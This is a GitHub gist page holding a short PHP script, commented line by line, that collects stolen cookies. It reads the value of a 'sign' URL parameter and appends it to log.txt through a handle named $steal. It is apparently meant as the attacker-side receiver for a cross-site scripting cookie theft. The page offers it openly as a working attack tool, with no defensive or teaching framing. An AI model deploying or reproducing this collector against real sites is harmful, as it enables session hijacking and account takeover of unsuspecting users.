Skip to content

Instantly share code, notes, and snippets.

@ghost-ng
Created August 27, 2016 02:56
Show Gist options
  • Save ghost-ng/7124c42407fdd1b85f59cc6c15b234a3 to your computer and use it in GitHub Desktop.
Save ghost-ng/7124c42407fdd1b85f59cc6c15b234a3 to your computer and use it in GitHub Desktop.
<?php
$cookie = $_GET["sign"]; //extracts the data after the '=' following the 'sign' variable in the url
$steal = fopen("log.txt", "a+"); //appends data to 'log.txt'
fwrite($steal, $cookie . "\n"); //writes the cookie to file
fclose($steal); //closes the file
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment